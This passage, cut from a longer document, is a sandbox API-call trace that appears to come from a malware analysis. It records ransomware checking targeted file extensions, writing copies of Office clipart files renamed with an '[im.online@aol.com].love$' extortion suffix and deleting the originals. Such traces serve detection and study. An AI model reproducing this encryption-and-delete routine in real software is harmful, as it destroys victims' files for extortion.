-1 [0247.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.157] lstrlenW (lpString=".doc") returned 4 [0247.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.157] lstrlenW (lpString=".docx") returned 5 [0247.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.157] lstrlenW (lpString=".pdf") returned 4 [0247.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.157] lstrlenW (lpString=".xls") returned 4 [0247.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.157] lstrlenW (lpString=".xlsx") returned 5 [0247.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.157] lstrlenW (lpString=".ppt") returned 4 [0247.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.157] lstrlenW (lpString=".zip") returned 4 [0247.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.157] lstrlenW (lpString=".rar") returned 4 [0247.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.157] lstrlenW (lpString=".bz2") returned 4 [0247.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.157] lstrlenW (lpString=".7z") returned 3 [0247.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.157] lstrlenW (lpString=".dbf") returned 4 [0247.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.157] lstrlenW (lpString=".1cd") returned 4 [0247.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.157] lstrlenW (lpString=".jpg") returned 4 [0247.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.157] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.158] lstrlenW (lpString="EN00397_.WMF") returned 12 [0247.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.158] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=17308) returned 1 [0247.158] CloseHandle (hObject=0x418) returned 1 [0247.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0247.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.159] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0247.159] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0247.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0247.161] GetLastError () returned 0x0 [0247.161] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x439c, lpOverlapped=0x0) returned 1 [0247.171] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x43a0, lpOverlapped=0x0) returned 1 [0247.173] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0247.173] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0247.173] SetEndOfFile (hFile=0x4c8) returned 1 [0247.178] CloseHandle (hObject=0x4c8) returned 1 [0247.179] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0247.179] SetEndOfFile (hFile=0x418) returned 1 [0247.221] CloseHandle (hObject=0x418) returned 1 [0247.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0247.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.598] lstrlenW (lpString=".doc") returned 4 [0247.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.598] lstrlenW (lpString=".docx") returned 5 [0247.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.598] lstrlenW (lpString=".pdf") returned 4 [0247.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.598] lstrlenW (lpString=".xls") returned 4 [0247.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.598] lstrlenW (lpString=".xlsx") returned 5 [0247.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.598] lstrlenW (lpString=".ppt") returned 4 [0247.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.599] lstrlenW (lpString=".zip") returned 4 [0247.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.599] lstrlenW (lpString=".rar") returned 4 [0247.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.599] lstrlenW (lpString=".bz2") returned 4 [0247.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.599] lstrlenW (lpString=".7z") returned 3 [0247.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.599] lstrlenW (lpString=".dbf") returned 4 [0247.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.599] lstrlenW (lpString=".1cd") returned 4 [0247.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.599] lstrlenW (lpString=".jpg") returned 4 [0247.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.599] lstrlenW (lpString=".doc") returned 4 [0247.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.599] lstrlenW (lpString=".docx") returned 5 [0247.599] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.599] lstrlenW (lpString=".pdf") returned 4 [0247.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.599] lstrlenW (lpString=".xls") returned 4 [0247.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.599] lstrlenW (lpString=".xlsx") returned 5 [0247.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.599] lstrlenW (lpString=".ppt") returned 4 [0247.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.614] lstrlenW (lpString=".zip") returned 4 [0247.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.614] lstrlenW (lpString=".rar") returned 4 [0247.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.614] lstrlenW (lpString=".bz2") returned 4 [0247.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.614] lstrlenW (lpString=".7z") returned 3 [0247.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.614] lstrlenW (lpString=".dbf") returned 4 [0247.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.614] lstrlenW (lpString=".1cd") returned 4 [0247.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0247.614] lstrlenW (lpString=".jpg") returned 4 [0247.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.614] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.614] lstrlenW (lpString="FD00297_.WMF") returned 12 [0247.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0247.615] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=18194) returned 1 [0247.615] CloseHandle (hObject=0x53c) returned 1 [0247.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0247.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0247.616] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0247.616] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0247.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0247.617] GetLastError () returned 0x0 [0247.617] ReadFile (in: hFile=0x53c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x4712, lpOverlapped=0x0) returned 1 [0247.763] WriteFile (in: hFile=0x540, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x4720, lpOverlapped=0x0) returned 1 [0247.764] ReadFile (in: hFile=0x53c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0247.765] WriteFile (in: hFile=0x540, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0247.765] SetEndOfFile (hFile=0x540) returned 1 [0247.765] CloseHandle (hObject=0x540) returned 1 [0247.765] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0247.765] SetEndOfFile (hFile=0x53c) returned 1 [0247.769] CloseHandle (hObject=0x53c) returned 1 [0247.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0247.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.771] lstrlenW (lpString=".doc") returned 4 [0247.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.771] lstrlenW (lpString=".docx") returned 5 [0247.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.771] lstrlenW (lpString=".pdf") returned 4 [0247.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.771] lstrlenW (lpString=".xls") returned 4 [0247.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.772] lstrlenW (lpString=".xlsx") returned 5 [0247.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.772] lstrlenW (lpString=".ppt") returned 4 [0247.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.772] lstrlenW (lpString=".zip") returned 4 [0247.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.772] lstrlenW (lpString=".rar") returned 4 [0247.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.772] lstrlenW (lpString=".bz2") returned 4 [0247.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.772] lstrlenW (lpString=".7z") returned 3 [0247.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.772] lstrlenW (lpString=".dbf") returned 4 [0247.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.772] lstrlenW (lpString=".1cd") returned 4 [0247.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.772] lstrlenW (lpString=".jpg") returned 4 [0247.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.773] lstrlenW (lpString=".doc") returned 4 [0247.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.773] lstrlenW (lpString=".docx") returned 5 [0247.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.773] lstrlenW (lpString=".pdf") returned 4 [0247.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.773] lstrlenW (lpString=".xls") returned 4 [0247.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.773] lstrlenW (lpString=".xlsx") returned 5 [0247.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.773] lstrlenW (lpString=".ppt") returned 4 [0247.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.773] lstrlenW (lpString=".zip") returned 4 [0247.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.773] lstrlenW (lpString=".rar") returned 4 [0247.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.773] lstrlenW (lpString=".bz2") returned 4 [0247.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.773] lstrlenW (lpString=".7z") returned 3 [0247.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.773] lstrlenW (lpString=".dbf") returned 4 [0247.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.774] lstrlenW (lpString=".1cd") returned 4 [0247.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0247.774] lstrlenW (lpString=".jpg") returned 4 [0247.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.774] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.774] lstrlenW (lpString="FD00397_.WMF") returned 12 [0247.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0248.439] GetFileSizeEx (in: hFile=0x4ec, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=10816) returned 1 [0248.439] CloseHandle (hObject=0x4ec) returned 1 [0248.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220 [0249.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.061] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.061] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0249.062] GetLastError () returned 0x0 [0249.062] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x2a40, lpOverlapped=0x0) returned 1 [0249.119] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2a50, lpOverlapped=0x0) returned 1 [0249.120] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0249.120] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0249.120] SetEndOfFile (hFile=0x4e4) returned 1 [0249.120] CloseHandle (hObject=0x4e4) returned 1 [0249.120] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.120] SetEndOfFile (hFile=0x488) returned 1 [0249.123] CloseHandle (hObject=0x488) returned 1 [0249.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0249.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.125] lstrlenW (lpString=".doc") returned 4 [0249.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.125] lstrlenW (lpString=".docx") returned 5 [0249.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.125] lstrlenW (lpString=".pdf") returned 4 [0249.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.125] lstrlenW (lpString=".xls") returned 4 [0249.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.125] lstrlenW (lpString=".xlsx") returned 5 [0249.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.125] lstrlenW (lpString=".ppt") returned 4 [0249.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.125] lstrlenW (lpString=".zip") returned 4 [0249.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.125] lstrlenW (lpString=".rar") returned 4 [0249.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.126] lstrlenW (lpString=".bz2") returned 4 [0249.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.126] lstrlenW (lpString=".7z") returned 3 [0249.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.126] lstrlenW (lpString=".dbf") returned 4 [0249.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.126] lstrlenW (lpString=".1cd") returned 4 [0249.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.126] lstrlenW (lpString=".jpg") returned 4 [0249.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0249.126] lstrlenW (lpString=".doc") returned 4 [0249.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.126] lstrlenW (lpString=".docx") returned 5 [0249.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.126] lstrlenW (lpString=".pdf") returned 4 [0249.126] lstrcmpiW 